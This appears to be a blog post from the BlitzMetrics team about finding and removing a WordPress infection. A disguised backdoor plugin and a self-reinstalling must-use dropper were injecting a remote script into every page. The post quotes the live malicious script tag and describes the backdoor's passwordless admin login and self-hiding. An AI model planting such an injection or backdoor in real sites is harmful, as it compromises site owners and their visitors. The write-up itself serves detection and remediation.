by /
On July 9, Paul Ryazanov sent a screenshot: ESET was blocking blitzmetrics.com with an “HTML/ScrInject.B trojan” warning. Every page was loading a script from a throwaway .lol domain. Here is how we traced it to a self-hiding backdoor, removed it at the root, and verified the site clean in a single session.
3
malware parts removed: a backdoor plugin, a self-healing dropper, and a rogue admin
1 script
injected into every page, killed sitewide (carreiro.lol/file.js)
0
traces left, verified across files, database, and users
Paul caught it before we did, mid-conversation with our team about his paulryazanov.com Knowledge Panel, when his browser started blocking our site. Here is the whole story, because if your WordPress site ever gets this, the pattern is worth knowing.
See what visitors were being served
ESET’s “HTML/ScrInject.B” is a category, not a mystery: something was injecting a remote script into the HTML. We pulled the raw homepage source and there it sat, at the very top of every page:
<script data-cfasync=’false’ async src=’https://carreiro.lol/file.js’></script>
Two tells: a random .lol domain nobody would legitimately load, and data-cfasync='false', an attribute malware uses to stop Cloudflare from touching its script. Wordfence had scanned the day before and missed it, for two reasons: the free tier’s community signatures do not carry this campaign, and our premium builder theme is a place Wordfence cannot diff against a known-good copy.
The two-part backdoor
The injector was a plugin disguised as “Web Media Optimizer.” It pulled the script URL from an external command-and-control server, exposed hidden attacker-only addresses (including one that logged the attacker in as an administrator with no password), let the attacker swap the injected URL at will (which is why the live site showed carreiro.lol while its fallback pointed at a second throwaway domain, vilialobos.lol), and hid itself from the Plugins screen. Deleting it did nothing: a WordPress must-use plugin, wp-media-recovery.php, silently reinstalled it. Must-use plugins load on every request, never show in the Plugins list, and cannot be switched off from the dashboard. Two halves that heal each other, plus a rogue administrator (a random Gmail, created April 4) as a fallback foothold.
Removed at the root, then verified
Because the halves rebuild each other, we removed them in one atomic pass, from a spot the dropper did not watch: deleted the dropper, deleted the backdoor plugin folder, cleared the malicious database options that stored the payload URL, deleted the rogue admin, and invalidated every login session (the backdoor could mint an admin cookie without a password, so stolen sessions had to die too). Then we verified: cache-busted the homepage and interior pages (zero hits on either .lol domain), confirmed the backdoor now 404s, swept the whole database and every user (clean), and purged the WP Engine cache so the public copy matched.
Check your own site: view-source for a data-cfasync='false' script loading a random domain; look in wp-content/mu-plugins/ for files you did not put there; check Users for any admin whose email is not a teammate; and check Site Health → Info for must-use plugins with blank version and author fields. Removal is only half the job. The other half is closing the door: update every outdated plugin and theme, rotate admin passwords, turn on two-factor, move to real-time malware signatures, and pull the host’s access logs to pin down the entry vector.
THE DELIVERABLE
The site is clean. Here is the checklist that keeps it that way.
Written up by the BlitzMetrics team as part of how we document our work in the open. Caught by Paul Ryazanov; traced, removed, and verified by our AI agent in one session on July 10, 2026. Total time under 45 minutes, versus the 8 to 12 hours or $5,000 to $10,000 a professional remediation firm would charge.
Dennis Yu
Dennis Yu is the CEO of Local Service Spotlight, a platform that amplifies the reputations of contractors and local service businesses using the Content Factory process. He is a former search engine engineer who has spent a billion dollars on Google and Facebook ads for Nike, Quiznos, Ashley Furniture, Red Bull, State Farm, and other brands.
Dennis has achieved 25% of his goal of creating a million digital marketing jobs by partnering with universities, professional organizations, and agencies. Through Local Service Spotlight, he teaches the Dollar a Day strategy and Content Factory training to help local service businesses enhance their existing local reputation and make the phone ring.
Dennis coaches young adult agency owners serving plumbers, AC technicians, landscapers, roofers, electricians, and believes there should be a standard in measuring local marketing efforts, much like doctors and plumbers must be certified. He has appeared on 353 podcasts with 619 credited episodes — see the full list of his podcast appearances.